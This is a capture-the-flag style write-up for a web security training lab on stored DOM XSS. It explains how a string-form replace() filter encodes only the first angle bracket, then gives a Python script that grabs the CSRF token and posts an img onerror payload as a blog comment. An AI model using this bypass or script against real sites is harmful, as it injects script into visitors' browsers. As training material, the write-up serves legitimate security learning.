XSS Lab 13
Stored DOM XSS via blog comment functionality — bypassing naive replace() filter
Stored DOM XSS#
This lab demonstrates a stored DOM XSS vulnerability in the blog comment functionality. The application attempts to mitigates XSS by using JavaScript’s replace() function to encode angle brackets, but the implementation passes a string as the first argument to replace(), which only replaces the first occurrence. By prepending an extra pair of angle brackets, the filter encodes the first pair while leaving the subsequent brackets intact — allowing injection of an HTML element that triggers alert(1) when rendered.
The exploit posts a payload as a comment that takes advantage of this encoding bug and executes JavaScript in the victim’s browser when the comment is displayed.
How Exploit Works#
- The comment field is stored and later rendered in a blog post (stored XSS).
- The application uses
str.replace('<', '<')(string form), which only replaces the first occurrence of<. - By sending a comment starting with an extra pair of angle brackets (e.g.
<><img src=1 onerror=alert(1)>), the first<is encoded while the second remains, allowing the injection of animgtag with anonerrorhandler. - When the post is viewed, the injected HTML executes and calls
alert(1), proving the XSS vector. - The script automates posting the comment and checks for the lab’s success indicator.
Usage#
python3 exploit.py https://<your-lab-id>.web-security-academy.netcmdExploit#
import requests, sys, urllib3
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}
def check_burp():
try:
requests.get("http://127.0.0.1:8080", proxies=proxies, timeout=3, verify=False)
except:
print("[-] Burp Suite not running.")
sys.exit(1)
def exploit_xss(url, payload):
s = requests.Session()
s.proxies, s.verify = proxies, False
post_page = url.rstrip("/") + "/post?postId=5"
r = s.get(post_page); r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
csrf = soup.find("input", {"name": "csrf"})["value"]
data = {
"csrf": csrf,
"postId": "5",
"comment": payload,
"name": "test",
"email": "[email protected]",
"website": "http://test.com"
}
s.post(url.rstrip("/") + "/post/comment", data=data).raise_for_status()
if "Congratulations" in s.get(url).text:
print("[+] Lab solved! 🎉"); return True
return False
def main():
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <url>"); sys.exit(1)
check_burp()
print("[*] Attempting XSS...")
if exploit_xss(sys.argv[1], '<><img src=99s onerror=alert(1)>'):
print("[+] XSS successful!")
else:
print("[-] XSS unsuccessful.")
if __name__ == "__main__":
main()python